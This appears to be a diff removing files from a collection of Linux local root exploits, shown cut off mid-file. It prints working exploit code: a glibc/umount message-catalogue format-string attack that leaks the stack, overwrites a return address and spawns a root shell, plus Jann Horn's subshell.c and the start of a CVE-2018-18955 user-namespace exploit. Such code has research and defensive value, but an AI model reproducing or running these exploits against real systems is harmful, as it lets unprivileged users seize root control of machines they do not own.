result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
||||
assert(handle>0);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
||||
selfPathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=write(handle, pathBuffer, result);
|
||||
close(handle);
|
||||
free(selfPathName);
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
|
||||
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
assert(stackDumpStr);
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
// We wrote allready 8 bytes, write so many more to produce a
|
||||
// count of 'L' and write that to the stack. As all writes so
|
||||
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
||||
// to write at least 4 bytes, which is longer than any "%hhx"
|
||||
// format string output. Hence do not care about the byte content
|
||||
// here. The target write address has a 16 byte alignment due
|
||||
// to varg structure.
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
||||
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
||||
STACK_LONG_DUMP_BYTES/16);
|
||||
*stackDumpStrEnd=0;
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3);
|
||||
assert(!result);
|
||||
free(stackDumpStr);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer);
|
||||
|
||||
free(namespaceMountBaseDir);
|
||||
return(namespacedProcessPid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/** Create the format string to write an arbitrary value to the
|
||||
* stack. The created format string avoids to interfere with
|
||||
* the complex fprintf format handling logic by accessing fprintf
|
||||
* internal state on stack. Thus the modification method does
|
||||
* not depend on that ftp internals. The current libc fprintf
|
||||
* implementation copies values for formatting before applying
|
||||
* the %n writes, therefore pointers changed by fprintf operation
|
||||
* can only be utilized with the next fprintf invocation. As
|
||||
* we cannot rely on a stack having a suitable number of pointers
|
||||
* ready for arbitrary writes, we need to create those pointers
|
||||
* one by one. Everything needed is pointer on stack pointing
|
||||
* to another valid pointer and 4 helper pointers pointing to
|
||||
* writeable memory. The **argv list matches all those requirements.
|
||||
* @param printfArgvValuePos the position of the argv pointer from
|
||||
* printf format string view.
|
||||
* @param argvStackAddress the address of the argv list, where
|
||||
* the argv[0] pointer can be read.
|
||||
* @param printfArg0ValuePos the position of argv list containing
|
||||
* argv[0..n] pointers.
|
||||
* @param mainFunctionReturnAddress the address on stack where
|
||||
* the return address from the main() function to _libc_start()
|
||||
* is stored.
|
||||
* @param writeValue the value to write to mainFunctionReturnAddress
|
||||
*/
|
||||
void createStackWriteFormatString(
|
||||
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
||||
void *argvStackAddress, int printfArg0ValuePos,
|
||||
void *mainFunctionReturnAddress, unsigned short *writeData,
|
||||
int writeDataLength) {
|
||||
int result=0;
|
||||
int currentValue=-1;
|
||||
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
||||
// Find the lowest value to write.
|
||||
nextWriteValue=0x10000;
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
int value=writeData[valuePos];
|
||||
if((value>currentValue)&&(value<nextWriteValue))
|
||||
nextWriteValue=value;
|
||||
}
|
||||
if(currentValue<0)
|
||||
currentValue=0;
|
||||
if(currentValue!=nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
||||
nextWriteValue-currentValue);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
currentValue=nextWriteValue;
|
||||
}
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
if(writeData[valuePos]==nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Print the return function address location number of bytes
|
||||
// except 8 (those from the LABEL counter) and write the value
|
||||
// to arg1.
|
||||
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
||||
writeCount, writeCount, printfArg0ValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
||||
writeCount, writeCount, printfArgvValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Append a debugging preamble.
|
||||
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
||||
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
||||
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
||||
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
|
||||
|
||||
/** Wait for the trigger pipe to open. The pipe will be closed
|
||||
* immediately after opening it.
|
||||
* @return 0 when the pipe was opened before hitting a timeout.
|
||||
*/
|
||||
int waitForTriggerPipeOpen(char *pipeName) {
|
||||
struct timespec startTime, currentTime;
|
||||
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
||||
startTime.tv_sec+=10;
|
||||
assert(!result);
|
||||
while(1) {
|
||||
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
||||
if(pipeFd>=0) {
|
||||
close(pipeFd);
|
||||
break;
|
||||
}
|
||||
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
||||
if(currentTime.tv_sec>startTime.tv_sec) {
|
||||
return(-1);
|
||||
}
|
||||
currentTime.tv_sec=0;
|
||||
currentTime.tv_nsec=100000000;
|
||||
nanosleep(¤tTime, NULL);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
/** Invoke umount to gain root privileges.
|
||||
* @return 0 if the umount process terminated with expected exit
|
||||
* status.
|
||||
*/
|
||||
int attemptEscalation() {
|
||||
int escalationSuccess=-1;
|
||||
|
||||
char targetCwd[64];
|
||||
snprintf(
|
||||
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
||||
|
||||
int pipeFds[2];
|
||||
int result=pipe(pipeFds);
|
||||
assert(!result);
|
||||
|
||||
pid_t childPid=fork();
|
||||
assert(childPid>=0);
|
||||
if(!childPid) {
|
||||
// This is the child process.
|
||||
close(pipeFds[0]);
|
||||
fprintf(stderr, "Starting subprocess\n");
|
||||
dup2(pipeFds[1], 1);
|
||||
dup2(pipeFds[1], 2);
|
||||
close(pipeFds[1]);
|
||||
result=chdir(targetCwd);
|
||||
assert(!result);
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
assert(umountEnv);
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X";
|
||||
}
|
||||
// Use the built-in C locale.
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
assert(!result);
|
||||
}
|
||||
close(pipeFds[1]);
|
||||
int childStdout=pipeFds[0];
|
||||
|
||||
int escalationPhase=0;
|
||||
char readBuffer[1024];
|
||||
int readDataLength=0;
|
||||
char stackData[STACK_LONG_DUMP_BYTES];
|
||||
int stackDataBytes=0;
|
||||
|
||||
struct pollfd pollFdList[1];
|
||||
pollFdList[0].fd=childStdout;
|
||||
pollFdList[0].events=POLLIN;
|
||||
|
||||
// Now learn about the binary, prepare data for second exploitation
|
||||
// phase. The phases should be:
|
||||
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
||||
// file to be read, that contains a poisonous format string.
|
||||
// Successful poisoning results in writing of 8*'A' preamble,
|
||||
// we are looking for to indicate end of this phase.
|
||||
// * 1: The poisoned process writes out stack content to defeat
|
||||
// ASLR. Reading all relevant stack end this phase.
|
||||
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
||||
// thus triggering re-read of util-linux.mo. To avoid races,
|
||||
// we let umount open a named pipe, thus blocking execution.
|
||||
// As soon as the pipe is ready for writing, we write a modified
|
||||
// version of util-linux.mo to another file because the pipe
|
||||
// cannot be used for sending the content.
|
||||
// * 3: We read umount output to avoid blocking the process and
|
||||
// wait for it to ROP execute fchown/fchmod and exit.
|
||||
while(1) {
|
||||
if(escalationPhase==2) {
|
||||
// We cannot use the standard poll from below to monitor the pipe,
|
||||
// but also we do not want to block forever. Wait for the pipe
|
||||
// in nonblocking mode and then continue with next phase.
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
if(result) {
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
if(!result) {
|
||||
// We ran into a timeout. This might be the result of a deadlocked
|
||||
// child, so kill the child and retry.
|
||||
fprintf(stderr, "Poll timed out\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
if(!result) {
|
||||
if(escalationPhase<3) {
|
||||
// Child has closed the socket unexpectedly.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if(result<0) {
|
||||
fprintf(stderr, "IO error talking to child\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble.
|
||||
if(readDataLength<8)
|
||||
continue;
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8);
|
||||
if(!preambleStart) {
|
||||
// No preamble, move content only if buffer is full.
|
||||
if(readDataLength==sizeof(readBuffer))
|
||||
moveLength=readDataLength-7;
|
||||
break;
|
||||
}
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++;
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack.
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) {
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
if(result!=1) {
|
||||
// Scanning failed, the data injection procedure apparently did
|
||||
// not work, so this escalation failed.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData))
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++;
|
||||
|
||||
char *escalationString=(char*)malloc(1024);
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
assert(!result);
|
||||
break;
|
||||
case 2:
|
||||
case 3:
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
// Wait some time to avoid killing umount even when exploit was
|
||||
// successful.
|
||||
sleep(1);
|
||||
close(childStdout);
|
||||
// It is safe to kill the child as we did not wait for it to finish
|
||||
// yet, so at least the zombie process is still here.
|
||||
kill(childPid, SIGKILL);
|
||||
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
||||
assert(waitedPid==childPid);
|
||||
|
||||
return(escalationSuccess);
|
||||
}
|
||||
|
||||
|
||||
/** This function invokes the shell specified via environment
|
||||
* or the default shell "/bin/sh" when undefined. The function
|
||||
* does not return on success.
|
||||
* @return -1 on error
|
||||
*/
|
||||
int invokeShell(char *shellName) {
|
||||
if(!shellName)
|
||||
shellName=getenv("SHELL");
|
||||
if(!shellName)
|
||||
shellName="/bin/sh";
|
||||
char* shellArgs[]={shellName, NULL};
|
||||
execve(shellName, shellArgs, environ);
|
||||
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *programmName=argv[0];
|
||||
int exitStatus=1;
|
||||
|
||||
if(getuid()==0) {
|
||||
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
||||
programmName);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
if(geteuid()==0) {
|
||||
struct stat statBuf;
|
||||
int result=stat("/proc/self/exe", &statBuf);
|
||||
assert(!result);
|
||||
if(statBuf.st_uid||statBuf.st_gid) {
|
||||
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
||||
programmName);
|
||||
int handle=open("/proc/self/exe", O_RDONLY);
|
||||
fchown(handle, 0, 0);
|
||||
fchmod(handle, 04755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
||||
programmName);
|
||||
setresgid(0, 0, 0);
|
||||
setresuid(0, 0, 0);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
for(int argPos=1; argPos<argc;) {
|
||||
char *argName=argv[argPos++];
|
||||
if(argPos==argc) {
|
||||
fprintf(stderr, "%s requires parameter\n", argName);
|
||||
return(1);
|
||||
}
|
||||
if(!strcmp("--Pid", argName)) {
|
||||
char *endPtr;
|
||||
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
||||
if((errno)||(*endPtr)) {
|
||||
fprintf(stderr, "Invalid pid value\n");
|
||||
return(1);
|
||||
}
|
||||
killNamespacedProcessFlag=0;
|
||||
} else {
|
||||
fprintf(stderr, "Unknown argument %s\n", argName);
|
||||
return(1);
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
||||
|
||||
if(!osRelease) {
|
||||
if(detectOsRelease()) {
|
||||
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
||||
}
|
||||
}
|
||||
|
||||
umountPathname=findUmountBinaryPathname("/bin");
|
||||
if((!umountPathname)&&(getenv("PATH")))
|
||||
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
||||
if(!umountPathname) {
|
||||
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
||||
umountPathname);
|
||||
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
if(nsPid<0) {
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
|
||||
// Gaining root can still fail due to ASLR creating additional
|
||||
// path separators in memory addresses residing in area to be
|
||||
// overwritten by buffer underflow. Retry regaining until this
|
||||
// executable changes uid/gid.
|
||||
int escalateMaxAttempts=10;
|
||||
int excalateCurrentAttempt=0;
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
excalateCurrentAttempt++;
|
||||
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
||||
excalateCurrentAttempt, escalateMaxAttempts);
|
||||
|
||||
attemptEscalation();
|
||||
|
||||
struct stat statBuf;
|
||||
int statResult=stat("/proc/self/exe", &statBuf);
|
||||
int stat(const char *pathname, struct stat *buf);
|
||||
if(statResult) {
|
||||
fprintf(stderr, "Failed to stat /proc/self/exe: /proc not mounted, access restricted, executable deleted?\n");
|
||||
break;
|
||||
}
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "Escalation FAILED, maybe target system not (yet) supported by exploit!\n");
|
||||
|
||||
preReturnCleanup:
|
||||
if(namespacedProcessPid>0) {
|
||||
if(killNamespacedProcessFlag) {
|
||||
kill(namespacedProcessPid, SIGKILL);
|
||||
} else {
|
||||
// We used an existing namespace or chroot to escalate. Remove
|
||||
// the files created there.
|
||||
fprintf(stderr, "No namespace cleanup for preexisting namespaces yet, do it manually.\n");
|
||||
}
|
||||
}
|
||||
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
return(exitStatus);
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
// subshell.c
|
||||
// author: Jann Horn
|
||||
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <grp.h>
|
||||
#include <err.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
int main() {
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
|
||||
|
||||
pid_t child = fork();
|
||||
if (child == -1) err(1, "fork");
|
||||
if (child == 0) {
|
||||
close(sync_pipe[1]);
|
||||
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
|
||||
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
err(1, "exec");
|
||||
}
|
||||
|
||||
close(sync_pipe[0]);
|
||||
if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock");
|
||||
char pbuf[100];
|
||||
sprintf(pbuf, "/proc/%d", (int)child);
|
||||
if (chdir(pbuf)) err(1, "chdir");
|
||||
const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n";
|
||||
int uid_map = open("uid_map", O_WRONLY);
|
||||
if (uid_map == -1) err(1, "open uid map");
|
||||
if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map");
|
||||
close(uid_map);
|
||||
int gid_map = open("gid_map", O_WRONLY);
|
||||
if (gid_map == -1) err(1, "open gid map");
|
||||
if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map");
|
||||
close(gid_map);
|
||||
if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock");
|
||||
|
||||
int status;
|
||||
if (wait(&status) != child) err(1, "wait");
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -1,272 +0,0 @@
|
||||
// subuid_shell.c - Linux local root exploit for CVE-2018-18955
|
||||
// Exploits broken uid/gid mapping in nested user namespaces.
|
||||
// ---
|
||||
// Mostly stolen from Jann Horn's exploit:
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
// Some code stolen from Xairy's exploits:
|
||||
// - https://github.com/xairy/kernel-exploits
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added auto subordinate id mapping
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <grp.h>
|
||||
#include <pwd.h>
|
||||
#include <sched.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/wait.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
char* SUBSHELL = "./subshell";
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (1) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
static int write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return -1;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * *
|
||||
|
||||
int get_subuid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subuid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_uid = getuid();
|
||||
struct passwd *u = getpwuid(real_uid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", u->pw_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int get_subgid(char* output, int max_length) {
|
||||
char buffer[1024];
|
||||
char* path = "/etc/subgid";
|
||||
int length = read_file(path, &buffer[0], sizeof(buffer));
|
||||
if (length == -1)
|
||||
return -1;
|
||||
|
||||
int real_gid = getgid();
|
||||
struct group *g = getgrgid(real_gid);
|
||||
|
||||
char needle[1024];
|
||||
sprintf(needle, "%s:", g->gr_name);
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
return -1;
|
||||
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != ':'; i++) {
|
||||
if (i >= max_length)
|
||||
return -1;
|
||||
if ((found - &buffer[0]) + needle_length + i >= length)
|
||||
return -1;
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SUBSHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] setting up namespace\n");
|
||||
|
||||
int sync_pipe[2];
|
||||
char dummy;
|
||||
|
||||
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) {
|
||||
dprintf("[-] pipe\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pid_t child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
